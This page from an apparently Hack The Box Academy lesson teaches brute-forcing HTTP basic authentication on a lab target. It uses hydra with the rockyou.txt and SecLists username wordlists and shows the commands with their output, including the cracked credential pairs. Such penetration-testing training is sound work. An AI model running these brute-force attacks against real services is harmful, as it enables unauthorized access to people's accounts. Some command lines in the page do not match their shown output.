

Username Brute Force

We now know the basic usage of **hydra**, so let us try another example of attacking HTTP basic auth by using separate wordlists for usernames and passwords.

Wordlists

One of the most commonly used password wordlists is **rockyou.txt**, which has over 14 million unique passwords, sorted by how common they are, collected from online leaked databases of passwords and usernames. Basically, unless a password is truly unique, this wordlist will likely contain it. **Rockyou.txt** already exists in our Pwnbox. If we were using **hydra** on a local VM, we could download this wordlist from the [Hashcat GitHub Repository](#). We can find it in the following directory:

Username Brute Force

```
dbcypn@htb[/htb]$ locate rockyou.txt
/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou.txt
```

As for our usernames wordlist, we will utilize the following wordlist from **SecLists**:

Username Brute Force

```
dbcypn@htb[/htb]$ locate names.txt
/opt/useful/SecLists/Usernames/Names/names.txt
```

This is a short list of common usernames that may be found on any server.

Username/Password Attack

Hydra requires at least 3 specific flags if the credentials are in one single list to perform a brute force attack against a web service:

- 1. **Credentials**
- 2. **Target Host**
- 3. **Target Path**

Credentials can also be separated by **usernames** and **passwords**. We can use the **-L** flag for the usernames wordlist and the **-P** flag for the passwords wordlist. Since we don't want to brute force all the usernames in combination with the passwords in the lists, we can tell **hydra** to stop after the first successful login by specifying the flag **-f**.

Tip: We will add the **-u** flag, so that it tries all users on each password, instead of trying one user and moving on to the next.

Username Brute Force

```
dbcypn@htb[/htb]$ hydra -L /opt/useful/SecLists/Usernames/Names/names.txt http-get://178.35.49.134:32901/

[DATA] max 16 tasks per 1 server, overall 16 tasks, 243854766 login tries (l:17/p:14344398), ~15240923 tries per server
[DATA] attacking http-get://178.35.49.134:32901/
[STATUS] 9105.00 tries/min, 9105 tries in 00:01h, 243845661 to do in 446:22h, 16 active
```

Almost There! BETA ✕

10 Streak pts left to meet The Weekly Goal.

20 / 30 Streak pts earned

```
<...SNIP...>
[32901][http-get] host: 178.35.49.134 login: thomas password: thomas1

[STATUS] attack finished for SERVER_IP (valid pair found)
1 of 1 target successfully completed, 1 valid password found
```

We see that we can still find the same working pair, but in this case, it took much longer to find them, taking nearly 30 minutes to do so. This is because while default passwords are commonly used together, they clearly are not among the top when it comes to individual wordlists. So, either the username or the password is buried deep into our wordlist, taking much longer to reach.

Username Brute Force

If we were to only brute force the username or password, we could assign a static username or password with the same flag but lowercase. For example, we can brute force passwords for the `test` user by adding `-l test`, and then adding a password word list with `-P rockyou.txt`.

Since we already found the password in the previous section, we may statically assign it with the `-p` flag, and only brute force for usernames that might use this password.

Username Brute Force

```
dbcyp0n@htb[/htb]$ hydra -L /opt/useful/SecLists/Names/names.txt -p amormio -u -f 178.35.49.134 -s

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 17 login tries (l:17/p:1), ~2 tries per task
[DATA] attacking http-get://178.35.49.134:32901/

[32901][http-get] host: 178.35.49.134 login: abbas password: amormio
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
```

Start Instance

∞ / 1 spawns left

Almost There!

BETA

×

10 Streak pts left to meet The Weekly Goal.

20 / 30 Streak pts earned

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

 Cheat Sheet

Target: [Click here to spawn the target system!](#)

+ 0  Try running the same exercise on the question from the previous section, to learn how to brute force for users.

Submit your answer here...

+10 Streak pts

 Submit

 Hint

 Show Solution

 Previous

Next 

 Cheat Sheet

? Go to Questions

Table of Contents

Introduction

Introduction to Brute Forcing



Basic HTTP Auth Brute Forcing

Password Attacks



 Default Passwords



 [Username Brute Force](#)

Web Forms Brute Forcing

Hydra Modules

Determine Login Parameters

 Login Form Attacks

Service Authentication Attacks

Personalized Wordlists

 Service Authentication Brute Forcing

Skills Assessment

 Skills Assessment - Website

 Skills Assessment - Service Login

My Workstation

OFFLINE

Almost There!

BETA



10 Streak pts left to meet The Weekly Goal.

20 / 30 Streak pts earned

▶ Start Instance

∞ / 1 spawns left

Almost There! BETA



10 Streak pts left to meet The Weekly Goal.

20 / 30 Streak pts earned